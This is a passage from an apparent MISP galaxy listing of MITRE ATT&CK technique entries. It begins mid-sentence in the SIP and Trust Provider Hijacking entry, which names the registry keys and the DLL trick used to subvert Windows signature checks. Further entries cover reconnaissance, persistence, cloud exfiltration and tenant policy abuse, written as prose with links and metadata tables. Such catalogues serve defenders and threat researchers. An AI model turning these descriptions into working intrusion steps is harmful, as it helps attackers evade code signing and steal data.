DllandFuncNameRegistry values inHKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). - Modifying the
DllandFuncNameRegistry values inHKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. - Modifying the
DLLandFunctionRegistry values inHKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{trust provider GUID}that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). - Note: The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
Internal MISP references
UUID 72b5ef57-325c-411b-93ca-a3ca6fa17e31 which can be used as unique global reference for SIP and Trust Provider Hijacking - T1198 in MISP communities and other software using the MISP galaxy
External references
- http://www.entrust.net/knowledge-base/technote.cfm?tn=8165 - webarchive
- https://attack.mitre.org/techniques/T1198 - webarchive
- https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/ - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10) - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11) - webarchive
- https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files - webarchive
- https://github.com/mattifestation/PoCSubjectInterfacePackage - webarchive
- https://msdn.microsoft.com/library/ms537359.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx - webarchive
- https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1198 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
File and Directory Permissions Modification - T1222
Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, Unix Shell Configuration Modification, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.
Adversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior)
Internal MISP references
UUID 65917ae0-b854-4139-83fe-bf2441cf0196 which can be used as unique global reference for File and Directory Permissions Modification - T1222 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1222 - webarchive
- https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior - webarchive
- https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf - webarchive
- https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware - webarchive
- https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/ - webarchive
- https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/ - webarchive
- https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 - webarchive
- https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1222 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Windows:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Assess leadership areas of interest - T1224
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)
Internal MISP references
UUID d3999268-740f-467e-a075-c82e2d04be62 which can be used as unique global reference for Assess leadership areas of interest - T1224 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1224 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Determine 3rd party infrastructure services - T1284
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)
Internal MISP references
UUID dfa4eaf4-50d9-49de-89e9-d33f579f3e05 which can be used as unique global reference for Determine 3rd party infrastructure services - T1284 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1284 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Related clusters
To see the related clusters, click here.
Determine highest level tactical element - T1243
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
Internal MISP references
UUID dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9 which can be used as unique global reference for Determine highest level tactical element - T1243 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1243 |
| kill_chain | ['pre-attack:target-selection'] |
Determine secondary level tactical element - T1244
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
Internal MISP references
UUID b9148981-152a-4a19-95c1-962803f5c9af which can be used as unique global reference for Determine secondary level tactical element - T1244 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1244 |
| kill_chain | ['pre-attack:target-selection'] |
Attack PC via USB Connection - T1427
With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.
Internal MISP references
UUID a0464539-e1b7-4455-a355-12495987c300 which can be used as unique global reference for Attack PC via USB Connection - T1427 in MISP communities and other software using the MISP galaxy
External references
- http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/ - webarchive
- http://dl.acm.org/citation.cfm?id=1920314 - webarchive
- https://attack.mitre.org/techniques/T1427 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1427 |
| kill_chain | ['mobile-attack-Android:lateral-movement'] |
| mitre_platforms | ['Android'] |
Determine centralization of IT management - T1285
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)
Internal MISP references
UUID a7dff5d5-99f9-4a7e-ac54-a64113c28121 which can be used as unique global reference for Determine centralization of IT management - T1285 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1285 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Determine external network trust dependencies - T1259
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)
Internal MISP references
UUID a2fc93cd-e371-4755-9305-2615b6753d91 which can be used as unique global reference for Determine external network trust dependencies - T1259 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1259 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Analyze organizational skillsets and deficiencies - T1297
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)
Internal MISP references
UUID 96eb59d1-6c46-44bb-bfcd-56be02a00d41 which can be used as unique global reference for Analyze organizational skillsets and deficiencies - T1297 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1297 |
| kill_chain | ['pre-attack:people-weakness-identification'] |
Related clusters
To see the related clusters, click here.
Analyze architecture and configuration posture - T1288
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)
Internal MISP references
UUID 87775365-2081-4b6e-99bd-48a3b8f36563 which can be used as unique global reference for Analyze architecture and configuration posture - T1288 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1288 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Analyze organizational skillsets and deficiencies - T1289
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)
Internal MISP references
UUID 092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc which can be used as unique global reference for Analyze organizational skillsets and deficiencies - T1289 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1289 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Related clusters
To see the related clusters, click here.
Leverage compromised 3rd party resources - T1375
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)
Internal MISP references
UUID 2c8a9df4-52a9-4770-94b3-5e95ab7d59f9 which can be used as unique global reference for Leverage compromised 3rd party resources - T1375 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1375 |
| kill_chain | ['pre-attack:launch'] |
Procure required equipment and software - T1335
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)
Internal MISP references
UUID 2141aea0-cf38-49aa-9e51-ac34092bc30a which can be used as unique global reference for Procure required equipment and software - T1335 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1335 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
SSL certificate acquisition for domain - T1337
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of Wachovia -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)
Internal MISP references
UUID e34b9ca1-8778-41a3-bba5-8edaab4076dc which can be used as unique global reference for SSL certificate acquisition for domain - T1337 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1337 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Confirmation of launched compromise achieved - T1383
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)
Internal MISP references
UUID f4c5d1d9-8f0e-46f1-a9fa-f9a440926046 which can be used as unique global reference for Confirmation of launched compromise achieved - T1383 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1383 |
| kill_chain | ['pre-attack:compromise'] |
App Delivered via Email Attachment - T1434
The application is delivered as an email attachment.
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.
Platforms: Android, iOS
Internal MISP references
UUID 1f96d624-8409-4472-ad8a-30618ee6b2e2 which can be used as unique global reference for App Delivered via Email Attachment - T1434 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1434 |
Related clusters
To see the related clusters, click here.
Create or Modify System Process - T1543
Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as Launch Daemon and Launch Agent are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)
Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.
Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)
Internal MISP references
UUID 106c0cf6-bf73-4601-9aa8-0945c2715ec5 which can be used as unique global reference for Create or Modify System Process - T1543 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1543 - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - webarchive
- https://technet.microsoft.com/en-us/library/cc772408.aspx - webarchive
- https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1543 |
| kill_chain | ['attack-Windows:persistence', 'attack-macOS:persistence', 'attack-Linux:persistence', 'attack-Containers:persistence', 'attack-Windows:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Container: Container Creation', 'Driver: Driver Load', 'File: File Creation', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Service: Service Creation', 'Service: Service Modification', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'Containers'] |
Build and configure delivery systems - T1347
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)
Internal MISP references
UUID 15ef4da5-3b93-4bb1-a39a-5396661956d3 which can be used as unique global reference for Build and configure delivery systems - T1347 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1347 |
| kill_chain | ['pre-attack:build-capabilities'] |
Automated system performs requested action - T1384
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)
Internal MISP references
UUID 0e6abb17-0f81-4988-9fd2-4ba0b673d729 which can be used as unique global reference for Automated system performs requested action - T1384 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1384 |
| kill_chain | ['pre-attack:compromise'] |
Exfiltration Over Other Network Medium - T1438
Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel.
Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
Internal MISP references
UUID b3c2e5de-0941-4b57-ba61-af029eb5517a which can be used as unique global reference for Exfiltration Over Other Network Medium - T1438 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1438 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Eavesdrop on Insecure Network Communication - T1439
If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)
Internal MISP references
UUID 393e8c12-a416-4575-ba90-19cc85656796 which can be used as unique global reference for Eavesdrop on Insecure Network Communication - T1439 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1439 - webarchive
- https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1439 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Distribute malicious software development tools - T1394
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)
Internal MISP references
UUID d2c4206a-a431-4494-834d-52944a79e9f4 which can be used as unique global reference for Distribute malicious software development tools - T1394 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1394 |
| kill_chain | ['pre-attack:stage-capabilities'] |
Transfer Data to Cloud Account - T1537
Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.
A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)
Adversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)
Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)
Internal MISP references
UUID d4bdbdea-eaec-4071-b4f9-5105e12ea4b6 which can be used as unique global reference for Transfer Data to Cloud Account - T1537 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1537 - webarchive
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html - webarchive
- https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview - webarchive
- https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature - webarchive
- https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview - webarchive
- https://tldrsec.com/p/blog-lesser-known-aws-attacks - webarchive
- https://www.justice.gov/file/1080281/download - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1537 |
| kill_chain | ['attack-IaaS:exfiltration', 'attack-SaaS:exfiltration', 'attack-Google-Workspace:exfiltration', 'attack-Office-365:exfiltration'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Cloud Storage: Cloud Storage Creation', 'Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Modification', 'Network Traffic: Network Traffic Content', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Metadata', 'Snapshot: Snapshot Modification'] |
| mitre_platforms | ['IaaS', 'SaaS', 'Google Workspace', 'Office 365'] |
Review logs and residual traces - T1358
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)
Internal MISP references
UUID a16e4004-caac-4a0b-acd5-486f8fda1665 which can be used as unique global reference for Review logs and residual traces - T1358 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1358 |
| kill_chain | ['pre-attack:test-capabilities'] |
Runtime code download and execution - T1395
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)
Internal MISP references
UUID 41086474-e6de-4fac-bb69-640db7fdf3d2 which can be used as unique global reference for Runtime code download and execution - T1395 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1395 |
| kill_chain | ['pre-attack:launch'] |
Test malware to evade detection - T1359
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)
Internal MISP references
UUID 8b57a8f1-9cbc-4b95-b162-cc2a1add94f2 which can be used as unique global reference for Test malware to evade detection - T1359 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1359 |
| kill_chain | ['pre-attack:test-capabilities'] |
Replace legitimate binary with malware - T1378
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)
Internal MISP references
UUID 0d759854-9b69-438c-8325-74b03cc80cf0 which can be used as unique global reference for Replace legitimate binary with malware - T1378 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1378 |
| kill_chain | ['pre-attack:launch'] |
Compromise of externally facing system - T1388
This technique has been deprecated. Please use Exploit Public-Facing Application and External Remote Services where appropriate.
Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)
Internal MISP references
UUID 4aeafdb3-eb0b-4e8e-b93f-95cd499088b4 which can be used as unique global reference for Compromise of externally facing system - T1388 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1388 |
| kill_chain | ['pre-attack:compromise'] |
Boot or Logon Initialization Scripts - T1398
Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken.
Internal MISP references
UUID 46d818a5-67fa-4585-a7fc-ecf15376c8d5 which can be used as unique global reference for Boot or Logon Initialization Scripts - T1398 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1398 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html - webarchive
- https://source.android.com/security/verifiedboot/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1398 |
| kill_chain | ['mobile-attack-Android:persistence', 'mobile-attack-iOS:persistence'] |
| mitre_platforms | ['Android', 'iOS'] |
Domain or Tenant Policy Modification - T1484
Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.
Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.
With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:
- modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)
- modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)
- changing configuration settings within the AD environment to implement a Rogue Domain Controller.
- adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)
Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.
Internal MISP references
UUID ebb42bbe-62d7-47d7-a55f-3b08b61d792d which can be used as unique global reference for Domain or Tenant Policy Modification - T1484 in MISP communities and other software using the MISP galaxy
External references
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ - webarchive
- https://adsecurity.org/?p=2716 - webarchive
- https://attack.mitre.org/techniques/T1484 - webarchive
- https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365 - webarchive
- https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml - webarchive
- https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - webarchive
- https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection - webarchive
- https://us-cert.cisa.gov/ncas/alerts/aa21-008a - webarchive
- https://wald0.com/?p=179 - webarchive
- https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/ - webarchive
- https://www.sygnia.co/golden-saml-advisory - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1484 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Windows:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-SaaS:privilege-escalation'] |
